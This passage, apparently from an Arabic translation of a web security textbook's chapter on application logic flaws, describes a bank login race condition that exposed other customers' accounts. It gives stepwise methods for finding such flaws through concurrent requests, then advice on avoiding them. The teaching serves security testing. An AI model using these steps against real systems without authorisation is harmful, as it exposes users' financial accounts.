ﻟﺬﻟﻚ،ﺷﻜﻠّﺖ ﺁﻟﻴﺔ ﺍﻟﺨﻄﺄ ﺗﻬﺪﻳﺪﺍً ﺃﻣﻨﻴﺎً ﺧﻄﻴﺮﺍً .ﻭﻷﻥ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻹﺩﺍﺭﻳﻴﻦ ﻛﺎﻧﻮﺍ ﻳﺘﻠﻘﻮﻥ ﺃﺣﻴﺎﻧﺎً
ﺭﺳﺎﺉﻞﺍﻟﺨﻄﺄ ﺍﻟﻤﻔﺼﻠﺔ ﻫﺬﻩ،
ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ 426
ﺳﻴﻘﻮﻡﺍﻟﻤﻬﺎﺟﻢ ﺑﻤﺮﺍﻗﺒﺔ ﺭﺳﺎﺉﻞ ﺍﻟﺨﻄﺄ ﻗﺮﻳﺒﺎً ﺑﺎﻟﺤﺼﻮﻝ ﻋﻠﻰ ﻣﻌﻠﻮﻣﺎﺕ ﻛﺎﻓﻴﺔ ﻻﺧﺘﺮﺍﻕ ﺍﻟﺘﻄﺒﻴﻖ
ﺑﺄﻛﻤﻠﻪ.
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
.1ﻟﻠﻜﺸﻒ ﻋﻦ ﺧﻠﻞ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ،ﻗﻢ ﺃﻭﻻ ًﺑﻔﻬﺮﺳﺔ ﺟﻤﻴﻊ ﺍﻷﺣﺪﺍﺙ ﻭﺍﻟﻈﺮﻭﻑ ﺍﻟﺸﺎﺫﺓ ﺍﻟﺘﻲ ﻳﻤﻜﻦ
ﺇﻧﺸﺎﺅﻫﺎﻭﺍﻟﺘﻲ ﺗﺘﻀﻤﻦ ﻣﻌﻠﻮﻣﺎﺕ ﻣﺤﺪﺩﺓ ﻭﻣﺜﻴﺮﺓ ﻟﻼﻫﺘﻤﺎﻡ ﻟﻠﻤﺴﺘﺨﺪﻡ ﻳﺘﻢ ﺇﺭﺟﺎﻋﻬﺎ ﺇﻟﻰ
ﺍﻟﻤﺘﺼﻔﺢﺑﻄﺮﻳﻘﺔ ﻏﻴﺮ ﻋﺎﺩﻳﺔ ،ﻣﺜﻞ ﺭﺳﺎﻟﺔ ﺧﻄﺄ ﺍﻟﺘﺼﺤﻴﺢ.
.2ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﺘﻄﺒﻴﻖ ﻛﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﺛﻨﻴﻦ ﺑﺎﻟﺘﻮﺍﺯﻱ ،ﻗﻢ ﺑﺘﺼﻤﻴﻢ ﻛﻞ ﺣﺎﻟﺔ ﺑﺸﻜﻞ ﻣﻨﻬﺠﻲ
ﺑﺎﺳﺘﺨﺪﺍﻡﺃﺣﺪ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺃﻭ ﻛﻠﻴﻬﻤﺎ ،ﻭﺣﺪﺩ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻵﺧﺮ ﻣﺘﺄﺛﺮﺍً ﻓﻲ ﻛﻞ
ﺣﺎﻟﺔ.
ﺍﻟﻮﻇﻴﻔﺔ
ﻧﻔﺬﺍﻟﺘﻄﺒﻴﻖ ﻋﻤﻠﻴﺔ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﻗﻮﻳﺔ ﻭﻣﺘﻌﺪﺩﺓ ﺍﻟﻤﺮﺍﺣﻞ ﺣﻴﺚ ﻛﺎﻥ ﻣﻄﻠﻮﺑﺎً ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ
ﺗﻘﺪﻳﻢﻋﺪﺓ ﺑﻴﺎﻧﺎﺕ ﺍﻋﺘﻤﺎﺩ ﻣﺨﺘﻠﻔﺔ ﻟﻠﺤﺼﻮﻝ ﻋﻠﻰ ﺣﻖ ﺍﻟﻮﺻﻮﻝ.
ﺍﻻﻓﺘﺮﺍﺽ
ﺧﻀﻌﺖﺁﻟﻴﺔ ﺍﻟﻤﺼﺎﺩﻗﺔ ﻟﻤﺮﺍﺟﻌﺎﺕ ﺗﺼﻤﻴﻤﻴﺔ ﻭﺍﺧﺘﺒﺎﺭﺍﺕ ﺍﺧﺘﺮﺍﻕ ﻋﺪﻳﺪﺓ .ﻭﻛﺎﻥ ﺍﻟﻤﺎﻟﻜﻮﻥ ﻋﻠﻰ ﺛﻘﺔ
ﻣﻦﻋﺪﻡ ﻭﺟﻮﺩ ﺃﻱ ﻭﺳﻴﻠﺔ ﻣﺠﺪﻳﺔ ﻟﻤﻬﺎﺟﻤﺔ ﺍﻵﻟﻴﺔ ﻟﻠﺤﺼﻮﻝ ﻋﻠﻰ ﻭﺻﻮﻝ ﻏﻴﺮ ﻣﺼﺮﺡ ﺑﻪ.
ﺍﻟﻬﺠﻮﻡ
ﻓﻲﺍﻟﻮﺍﻗﻊ ،ﺍﺣﺘﻮﺕ ﺁﻟﻴﺔ ﺍﻟﻤﺼﺎﺩﻗﺔ ﻋﻠﻰ ﺧﻠﻞ ﺧﻔﻲ .ﻓﻔﻲ ﺑﻌﺾ ﺍﻷﺣﻴﺎﻥ ،ﻋﻨﺪ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﺃﺣﺪ
ﺍﻟﻌﻤﻼء،ﻛﺎﻥ ﻳﺤﺼﻞ ﻋﻠﻰ ﺇﻣﻜﺎﻧﻴﺔ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺣﺴﺎﺏ ﻣﺴﺘﺨﺪﻡ ﻣﺨﺘﻠﻒ ﺗﻤﺎﻣﺎً ،ﻣﻤﺎ ﻳﻤُﻜﻨّﻪ ﻣﻦ
ﺍﻻﻃﻼﻉﻋﻠﻰ ﺟﻤﻴﻊ ﺗﻔﺎﺻﻴﻠﻪ ﺍﻟﻤﺎﻟﻴﺔ ،ﺑﻞ ﻭﺣﺘﻰ ﺇﺟﺮﺍء ﻣﺪﻓﻮﻋﺎﺕ ﻣﻦ ﺣﺴﺎﺏ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻵﺧﺮ .ﺑﺪﺍ
ﺳﻠﻮﻙﺍﻟﺘﻄﺒﻴﻖ ﻓﻲ ﺍﻟﺒﺪﺍﻳﺔ ﻋﺸﻮﺍﺉﻴﺎً :ﻟﻢ ﻳﻘﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﺄﻱ ﺇﺟﺮﺍء ﻏﻴﺮ ﺍﻋﺘﻴﺎﺩﻱ ﻟﻠﻮﺻﻮﻝ ﻏﻴﺮ
ﺍﻟﻤﺼﺮﺡﺑﻪ ،ﻭﻟﻢ ﻳﺘﻜﺮﺭ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﻓﻲ ﻋﻤﻠﻴﺎﺕ ﺗﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﺍﻟﻼﺣﻘﺔ.
ﺑﻌﺪﺇﺟﺮﺍء ﺑﻌﺾ ﺍﻟﺘﺤﻘﻴﻘﺎﺕ ،ﺍﻛﺘﺸﻒ ﺍﻟﺒﻨﻚ ﺃﻥ ﺍﻟﺨﻄﺄ ﻛﺎﻥ ﻳﺤﺪﺙ ﻋﻨﺪ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ
ﻣﺴﺘﺨﺪﻣﻴﻦﻣﺨﺘﻠﻔﻴﻦ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﻓﻲ ﻧﻔﺲ ﺍﻟﻠﺤﻈﺔ .ﻟﻢ ﻳﺤﺪﺙ ﻫﺬﺍ ﻓﻲ ﻛﻞ ﻣﺮﺓ ،ﺑﻞ ﻓﻲ
ﻣﺠﻤﻮﻋﺔﻓﺮﻋﻴﺔ ﻣﻨﻬﺎ ﻓﻘﻂ .ﻛﺎﻥ ﺍﻟﺴﺒﺐ ﺍﻟﺮﺉﻴﺴﻲ ﻫﻮ ﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻛﺎﻥ ﻳﺨﺰﻥ ﻟﻔﺘﺮﺓ ﻭﺟﻴﺰﺓ ﻣﻌُﺮﻓّﺎً
ﺭﺉﻴﺴﻴﺎًﻟﻜﻞ ﻣﺴﺘﺨﺪﻡ ﻣﺼُﺎﺩﻕ ﻋﻠﻴﻪ ﺣﺪﻳﺜﺎً ﺩﺍﺧﻞ ﻣﺘﻐﻴﺮ ﺛﺎﺑﺖ )ﻏﻴﺮ ﻣﺮﺗﺒﻂ ﺑﺠﻠﺴﺔ( .ﺑﻌﺪ ﻛﺘﺎﺑﺘﻪ،
ﻛﺎﻧﺖﻗﻴﻤﺔ ﻫﺬﺍ ﺍﻟﻤﺘﻐﻴﺮ ﺗﻘُﺮﺃ ﻻﺣﻘﺎً .ﺇﺫﺍ ﻛﺘﺐ ﻣﺆﺷﺮ ﺗﺮﺍﺑﻂ ﻣﺨﺘﻠﻒ )ﻳﻌُﺎﻟﺞ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﺁﺧﺮ( ﺇﻟﻰ
ﺍﻟﻤﺘﻐﻴﺮﺧﻼﻝ ﻫﺬﻩ ﺍﻟﻠﺤﻈﺔ ،ﻓﺴﻴﻨﺘﻘﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺴﺎﺑﻖ ﺇﻟﻰ ﺟﻠﺴﺔ ﻣﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ ﺗﺎﺑﻌﺔ
ﻟﻠﻤﺴﺘﺨﺪﻡﺍﻟﺘﺎﻟﻲ.
427 ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ
ﻧﺸﺄﺕﺍﻟﺜﻐﺮﺓ ﻣﻦ ﻧﻔﺲ ﻧﻮﻉ ﺍﻟﺨﻄﺄ ﺍﻟﻤﺬﻛﻮﺭ ﻓﻲ ﻣﺜﺎﻝ ﺭﺳﺎﻟﺔ ﺍﻟﺨﻄﺄ ﺍﻟﻤﻮﺻﻮﻑ ﺳﺎﺑﻘﺎً :ﻛﺎﻥ
ﺍﻟﺘﻄﺒﻴﻖﻳﺴﺘﺨﺪﻡ ﺗﺨﺰﻳﻨﺎً ﺛﺎﺑﺘﺎً ﻟﺤﻔﻆ ﻣﻌﻠﻮﻣﺎﺕ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻔﺘﺮﺽ ﺗﺨﺰﻳﻨﻬﺎ ﻟﻜﻞ ﺳﻠﺴﻠﺔ ﺃﻭ ﺟﻠﺴﺔ.
ﻣﻊﺫﻟﻚ ،ﻓﺈﻥ ﻫﺬﺍ ﺍﻟﻤﺜﺎﻝ ﺃﻛﺜﺮ ﺩﻗﺔ ﻓﻲ ﺍﻟﻜﺸﻒ ﻋﻨﻪ ،ﻭﻳﺼﻌﺐ ﺍﺳﺘﻐﻼﻟﻪ ﻧﻈﺮﺍً ﻻﺳﺘﺤﺎﻟﺔ ﺇﻋﺎﺩﺓ
ﺇﻧﺘﺎﺟﻪﺑﺸﻜﻞ ﻣﻮﺛﻮﻕ.
ﺗﻌُﺮﻑﻫﺬﻩ ﺍﻟﻌﻴﻮﺏ ﺑﺎﺳﻢ "ﺣﺎﻻﺕ ﺍﻟﺘﺴﺎﺑﻖ" ﻷﻧﻬﺎ ﺗﺘﻀﻤﻦ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﺗﻨﺸﺄ ﻟﻔﺘﺮﺓ ﻭﺟﻴﺰﺓ ﻓﻲ ﻇﻞ
ﻇﺮﻭﻑﻣﺤﺪﺩﺓ .ﻭﻷﻥ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ ﻻ ﺗﺴﺘﻤﺮ ﺇﻻ ﻟﻔﺘﺮﺓ ﻗﺼﻴﺮﺓ ،ﻓﺈﻥ ﺍﻟﻤﻬﺎﺟﻢ "ﻳﺴﺎﺭﻉ" ﻻﺳﺘﻐﻼﻟﻬﺎ ﻗﺒﻞ
ﺃﻥﻳﻐُﻠﻘﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺠﺪﺩﺍً .ﻓﻲ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﻳﻜﻮﻥ ﻓﻴﻬﺎ ﺍﻟﻤﻬﺎﺟﻢ ﻣﺤﻠﻴﺎً ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ،ﻏﺎﻟﺒﺎً ﻣﺎ
ﻳﻜﻮﻥﻣﻦ ﺍﻟﻤﻤﻜﻦ ﻫﻨﺪﺳﺔ ﺍﻟﻈﺮﻭﻑ ﺍﻟﺪﻗﻴﻘﺔ ﺍﻟﺘﻲ ﺗﻨﺸﺄ ﻓﻴﻬﺎ ﺣﺎﻟﺔ ﺍﻟﺘﺴﺎﺑﻖ ﻭﺍﺳﺘﻐﻼﻝ ﺍﻟﺜﻐﺮﺓ ﺍﻷﻣﻨﻴﺔ
ﺑﺸﻜﻞﻣﻮﺛﻮﻕ ﺧﻼﻝ ﺍﻟﻔﺘﺮﺓ ﺍﻟﻤﺘﺎﺣﺔ .ﺃﻣﺎ ﻋﻨﺪﻣﺎ ﻳﻜﻮﻥ ﺍﻟﻤﻬﺎﺟﻢ ﺑﻌﻴﺪﺍً ﻋﻦ ﺍﻟﺘﻄﺒﻴﻖ ،ﻓﻌﺎﺩﺓ ًﻣﺎ ﻳﻜﻮﻥ
ﺗﺤﻘﻴﻖﺫﻟﻚ ﺃﺻﻌﺐ ﺑﻜﺜﻴﺮ.
ﻣﻦﺍﻟﻤﻤﻜﻦ ﺃﻥ ﻳﻜﻮﻥ ﺑﺈﻣﻜﺎﻥ ﻣﻬﺎﺟﻢ ﻋﻦ ﺑﻌُﺪ ،ﻣﺪُﺭﻙ ﻟﻄﺒﻴﻌﺔ ﺍﻟﺜﻐﺮﺓ ،ﺃﻥ ﻳﺼُﻤﻢّ ﻫﺠﻮﻣﺎً
ﻻﺳﺘﻐﻼﻟﻬﺎﺑﺎﺳﺘﺨﺪﺍﻡ ﺑﺮﻧﺎﻣﺞ ﻧﺼﻲ ﻟﺘﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﺑﺎﺳﺘﻤﺮﺍﺭ ﻭﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺗﻔﺎﺻﻴﻞ ﺍﻟﺤﺴﺎﺏ
ﺍﻟﻤﺴُﺘﺨﺪﻡ.ﻟﻜﻦ ﺍﻟﻔﺘﺮﺓ ﺍﻟﺰﻣﻨﻴﺔ ﺍﻟﻘﺼﻴﺮﺓ ﺍﻟﺘﻲ ﻳﻤُﻜﻦ ﺧﻼﻟﻬﺎ ﺍﺳﺘﻐﻼﻝ ﺍﻟﺜﻐﺮﺓ ﺗﻌﻨﻲ ﺍﻟﺤﺎﺟﺔ ﺇﻟﻰ ﻋﺪﺩ
ﻫﺎﺉﻞﻣﻦ ﺍﻟﻄﻠﺒﺎﺕ.
ﻟﻢﻳﻜﻦ ﻣﻦ ﺍﻟﻤﻔﺎﺟﺊ ﻋﺪﻡ ﺍﻛﺘﺸﺎﻑ ﺣﺎﻟﺔ ﺍﻟﺘﺴﺎﺑﻖ ﺃﺛﻨﺎء ﺍﺧﺘﺒﺎﺭﺍﺕ ﺍﻻﺧﺘﺮﺍﻕ ﺍﻻﻋﺘﻴﺎﺩﻳﺔ .ﻓﻘﺪ
ﻧﺸﺄﺕﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ﻓﻘﻂ ﻋﻨﺪﻣﺎ ﺍﻛﺘﺴﺐ ﺍﻟﺘﻄﺒﻴﻖ ﻗﺎﻋﺪﺓ ﻣﺴﺘﺨﺪﻣﻴﻦ ﻛﺒﻴﺮﺓ ﺑﻤﺎ ﻳﻜﻔﻲ ﻟﺤﺪﻭﺙ
ﺷﺬﻭﺫﺍﺕﻋﺸﻮﺍﺉﻴﺔ ،ﻭﺍﻟﺘﻲ ﺃﺑﻠﻎ ﻋﻨﻬﺎ ﺍﻟﻌﻤﻼء .ﻭﻣﻊ ﺫﻟﻚ ،ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺗﺤﺪﻳﺪ ﺍﻟﻤﺸﻜﻠﺔ ﻣﻦ
ﺧﻼﻝﻣﺮﺍﺟﻌﺔ ﺩﻗﻴﻘﺔ ﻟﻤﻨﻄﻖ ﺍﻟﻤﺼﺎﺩﻗﺔ ﻭﺇﺩﺍﺭﺓ ﺍﻟﺠﻠﺴﺔ.
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
ﺇﻥﺇﺟﺮﺍء ﺍﺧﺘﺒﺎﺭ ﺍﻟﺼﻨﺪﻭﻕ ﺍﻷﺳﻮﺩ ﻋﻦ ﺑﻌُﺪ ﻟﻤﺸﺎﻛﻞ ﺳﻼﻣﺔ ﺍﻟﺨﻴﻮﻁ ﺍﻟﺪﻗﻴﻘﺔ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻟﻴﺲ
ﺑﺎﻷﻣﺮﺍﻟﺴﻬﻞ .ﻳﻨﺒﻐﻲ ﺍﻋﺘﺒﺎﺭﻩ ﻣﻬﻤﺔ ﻣﺘﺨﺼﺼﺔ ،ﻭﺭﺑﻤﺎ ﺗﻜﻮﻥ ﺿﺮﻭﺭﻳﺔ ﻓﻘﻂ ﻓﻲ ﺃﻛﺜﺮ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ
ﺣﺴﺎﺳﻴﺔ ًﻟﻸﻣﻦ.
.1ﺍﺳﺘﻬﺪﺍﻑ ﻋﻨﺎﺻﺮ ﻣﺤﺪﺩﺓ ﻣﻦ ﺍﻟﻮﻇﺎﺉﻒ ﺍﻟﺮﺉﻴﺴﻴﺔ ،ﻣﺜﻞ ﺁﻟﻴﺎﺕ ﺗﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ،
ﻭﻭﻇﺎﺉﻒﺗﻐﻴﻴﺮ ﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ ،ﻭﻋﻤﻠﻴﺎﺕ ﺗﺤﻮﻳﻞ ﺍﻷﻣﻮﺍﻝ.
.٢ﻟﻜﻞ ﻭﻇﻴﻔﺔ ﻣﺨُﺘﺒَﺮَﺓ ،ﺣﺪﺩِّ ﻃﻠﺒﺎً ﻭﺍﺣﺪﺍً ،ﺃﻭ ﻋﺪﺩﺍً ﺻﻐﻴﺮﺍً ﻣﻦ ﺍﻟﻄﻠﺒﺎﺕ ،ﻳﻤُﻜﻦ ﻟﻤﺴﺘﺨﺪﻡ ﻣﻌُﻴﻦَّ
ﺍﺳﺘﺨﺪﺍﻣﻪﻟﺘﻨﻔﻴﺬ ﺇﺟﺮﺍء ﻭﺍﺣﺪ .ﺍﺑﺤﺚ ﺃﻳﻀﺎً ﻋﻦ ﺃﺑﺴﻂ ﻭﺳﻴﻠﺔ ﻟﺘﺄﻛﻴﺪ ﻧﺘﻴﺠﺔ ﺍﻹﺟﺮﺍء ،ﻣﺜﻞ
ﺍﻟﺘﺤﻘﻖﻣﻦ ﺃﻥ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﻣﺴﺘﺨﺪﻡ ﻣﻌُﻴﻦَّ ﻗﺪ ﺃﺩﻯ ﺇﻟﻰ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻣﻌﻠﻮﻣﺎﺕ
ﺣﺴﺎﺑﻪ.
.٣ﺑﺎﺳﺘﺨﺪﺍﻡ ﻋﺪﺓ ﺃﺟﻬﺰﺓ ﻋﺎﻟﻴﺔ ﺍﻟﻤﻮﺍﺻﻔﺎﺕ ،ﻭﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻦ ﻣﻮﺍﻗﻊ ﺷﺒﻜﺔ ﻣﺨﺘﻠﻔﺔ،
ﻗﻢﺑﺈﻋﺪﺍﺩ ﻫﺠﻮﻡ ﻟﺘﻨﻔﻴﺬ ﻧﻔﺲ ﺍﻹﺟﺮﺍء ﺑﺸﻜﻞ ﻣﺘﻜﺮﺭ ﻧﻴﺎﺑﺔ ًﻋﻦ ﻋﺪﺓ ﻣﺴﺘﺨﺪﻣﻴﻦ ﻣﺨﺘﻠﻔﻴﻦ.
ﺗﺄﻛﺪﻣﻦ ﺃﻥ ﻛﻞ ﺇﺟﺮﺍء ﻳﺤﻘﻖ ﺍﻟﻨﺘﻴﺠﺔ ﺍﻟﻤﺘﻮﻗﻌﺔ.
.٤ﺍﺳﺘﻌﺪ ﻟﻜﺜﺮﺓ ﺍﻟﻨﺘﺎﺉﺞ ﺍﻹﻳﺠﺎﺑﻴﺔ ﺍﻟﺨﺎﻃﺉﺔ .ﺑﻨﺎء ًﻋﻠﻰ ﺣﺠﻢ ﺍﻟﺒﻨﻴﺔ ﺍﻟﺘﺤﺘﻴﺔ ﺍﻟﺪﺍﻋﻤﺔ ﻟﻠﺘﻄﺒﻴﻖ ،ﻗﺪ
ﻳﻜﻮﻥﻫﺬﺍ ﺍﻟﻨﺸﺎﻁ ﺑﻤﺜﺎﺑﺔ ﺍﺧﺘﺒﺎﺭ ﺗﺤﻤﻴﻞ ﻟﻠﺘﺜﺒﻴﺖ .ﻗﺪ ﺗﺤﺪﺙ ﺃﺧﻄﺎء ﻷﺳﺒﺎﺏ ﻻ ﻋﻼﻗﺔ ﻟﻬﺎ
ﺑﺎﻷﻣﻦ.
ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ 428
ﺗﺠﻨﺐﺍﻟﻌﻴﻮﺏ ﺍﻟﻤﻨﻄﻘﻴﺔ
ﻛﻤﺎﻻ ﻳﻮﺟﺪ ﺗﻮﻗﻴﻊ ﻓﺮﻳﺪ ﻳﻤُﻜﻦّ ﻣﻦ ﺗﺤﺪﻳﺪ ﺍﻟﻌﻴﻮﺏ ﺍﻟﻤﻨﻄﻘﻴﺔ ﻓﻲ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ،ﻻ ﻳﻮﺟﺪ ﺣﻞ
ﺳﺤﺮﻱﻳﺤﻤﻴﻚ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻻ ﻳﻮﺟﺪ ﺑﺪﻳﻞ ﻣﺒﺎﺷﺮ ﻻﺳﺘﺨﺪﺍﻡ ﺑﺪﻳﻞ ﺁﻣﻦ ﻟﻮﺍﺟﻬﺔ ﺑﺮﻣﺠﺔ
ﺗﻄﺒﻴﻘﺎﺕﺧﻄﻴﺮﺓ .ﻣﻊ ﺫﻟﻚ ،ﻳﻤُﻜﻦ ﺗﻄﺒﻴﻖ ﻣﺠﻤﻮﻋﺔ ﻣﻦ ﺍﻟﻤﻤﺎﺭﺳﺎﺕ ﺍﻟﺠﻴﺪﺓ ﻟﺘﻘﻠﻴﻞ ﺧﻄﺮ ﻇﻬﻮﺭ
ﺍﻟﻌﻴﻮﺏﺍﻟﻤﻨﻄﻘﻴﺔ ﻓﻲ ﺗﻄﺒﻴﻘﺎﺗﻚ ﺑﺸﻜﻞ ﻛﺒﻴﺮ:
ﺗﺄﻛﺪﻣﻦ ﺗﻮﺛﻴﻖ ﻛﻞ ﺟﺎﻧﺐ ﻣﻦ ﺟﻮﺍﻧﺐ ﺗﺼﻤﻴﻢ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻮﺿﻮﺡ ﻭﺗﻔﺎﺻﻴﻞ ﻛﺎﻓﻴﺔ ﻟﻴﺘﻤﻜﻦ -
ﺇﺻﺪﺍﺭﺃﻣﺮ ﺑﺄﻥ ﻳﺘﻢ ﺍﻟﺘﻌﻠﻴﻖ ﻋﻠﻰ ﺟﻤﻴﻊ ﺃﻛﻮﺍﺩ ﺍﻟﻤﺼﺪﺭ ﺑﺸﻜﻞ ﻭﺍﺿﺢ ﻟﺘﺸﻤﻞ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ -
ﺇﺷﺎﺭﺍﺕﺇﻟﻰ ﺟﻤﻴﻊ ﺃﻛﻮﺍﺩ ﺍﻟﻌﻤﻴﻞ ﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻡ ﻫﺬﺍ ﺍﻟﻤﻜﻮﻥ .ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺃﻥ ﻳﻤﻨﻊ -
ﻭﺟﻮﺩﺗﻮﺛﻴﻖ ﻭﺍﺿﺢ ﻟﻬﺬﺍ ﺍﻟﻐﺮﺽ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﻓﻲ ﻭﻇﻴﻔﺔ ﺍﻟﺘﺴﺠﻴﻞ ﻋﺒﺮ ﺍﻹﻧﺘﺮﻧﺖ) .
ﻻﺣﻆﺃﻥ "ﺍﻟﻌﻤﻴﻞ" ﻫﻨﺎ ﻻ ﻳﺸﻴﺮ ﺇﻟﻰ ﻃﺮﻑ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ ﻋﻼﻗﺔ ﺍﻟﻌﻤﻴﻞ/ﺍﻟﺨﺎﺩﻡ ،ﺑﻞ ﺇﻟﻰ
ﺃﻛﻮﺍﺩﺃﺧﺮﻯ ﻳﻜﻮﻥ ﺍﻟﻤﻜﻮﻥ ﺍﻟﻤﻌﻨﻲ ﺗﺎﺑﻌﺎً ﻟﻬﺎ ﺑﺸﻜﻞ ﻣﺒﺎﺷﺮ(.
ﻭﺣﺎﻭﻝﺗﺼﻮﺭّ ﺍﻟﻈﺮﻭﻑ ﺍﻟﺘﻲ ﻗﺪ ﻳﻨُﺘﻬﻚ ﻓﻴﻬﺎ ﻛﻞ ﺍﻓﺘﺮﺍﺽ .ﺭﻛﺰّ ﻋﻠﻰ ﺃﻱ ﻇﺮﻭﻑ ﻣﻔُﺘﺮﺿﺔ
ﻳﻤُﻜﻦﺃﻥ ﺗﻜﻮﻥ ﺿﻤﻦ ﺳﻴﻄﺮﺓ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻖ.
ﺃﺛﻨﺎءﻣﺮﺍﺟﻌﺎﺕ ﺍﻟﻜﻮﺩ ﺍﻟﺘﻲ ﺗﺮﻛﺰ ﻋﻠﻰ ﺍﻷﻣﺎﻥ ،ﻓﻜﺮ ﺑﺸﻜﻞ ﺟﺎﻧﺒﻲ ﻓﻲ ﻣﻨﻄﻘﺘﻴﻦ ﺭﺉﻴﺴﻴﺘﻴﻦ: -
ﺍﻟﻄﺮﻕﺍﻟﺘﻲ ﺳﻴﺘﻌﺎﻣﻞ ﺑﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻊ ﺳﻠﻮﻙ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻏﻴﺮ ﺍﻟﻤﺘﻮﻗﻊ ،ﻭﺍﻵﺛﺎﺭ ﺍﻟﺠﺎﻧﺒﻴﺔ
ﺍﻟﻤﺤﺘﻤﻠﺔﻷﻱ ﺗﺒﻌﻴﺎﺕ ﻭﺍﻟﺘﺸﻐﻴﻞ ﺍﻟﻤﺘﺒﺎﺩﻝ ﺑﻴﻦ ﻣﻜﻮﻧﺎﺕ ﺍﻟﻜﻮﺩ ﺍﻟﻤﺨﺘﻠﻔﺔ ﻭﻭﻇﺎﺉﻒ
ﺍﻟﺘﻄﺒﻴﻖﺍﻟﻤﺨﺘﻠﻔﺔ.
ﻭﻓﻴﻤﺎﻳﺘﺼﻞ ﺑﺎﻷﻣﺜﻠﺔ ﺍﻟﻤﺤﺪﺩﺓ ﻟﻠﻌﻴﻮﺏ ﺍﻟﻤﻨﻄﻘﻴﺔ ﺍﻟﺘﻲ ﻭﺻﻔﻨﺎﻫﺎ ،ﻓﻤﻦ ﺍﻟﻤﻤﻜﻦ ﺃﻥ ﻧﺘﻌﻠﻢ ﻋﺪﺩﺍ ً
ﻣﻦﺍﻟﺪﺭﻭﺱ ﺍﻟﻔﺮﺩﻳﺔ:
ﺍﻧﺘﺒﻪﺩﺍﺉﻤﺎً ﺇﻟﻰ ﺃﻥ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻳﺘﺤﻜﻤﻮﻥ ﻓﻲ ﻛﻞ ﺟﺎﻧﺐ ﻣﻦ ﺟﻮﺍﻧﺐ ﻛﻞ ﻃﻠﺐ )ﺍﻧﻈﺮ -
ﺍﻟﻔﺼﻞﺍﻷﻭﻝ( .ﻳﻤﻜﻨﻬﻢ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻭﻇﺎﺉﻒ ﻣﺘﻌﺪﺩﺓ ﺍﻟﻤﺮﺍﺣﻞ ﺑﺄﻱ ﺗﺴﻠﺴﻞ .ﻳﻤﻜﻨﻬﻢ
ﺇﺭﺳﺎﻝﻣﻌﻠﻤﺎﺕ ﻟﻢ ﻳﻄﻠﺒﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ .ﻳﻤﻜﻨﻬﻢ ﺣﺬﻑ ﻣﻌﻠﻤﺎﺕ ﻣﻌﻴﻨﺔ ،ﻭﻟﻴﺲ ﻓﻘﻂ ﺍﻟﺘﺪﺧﻞ
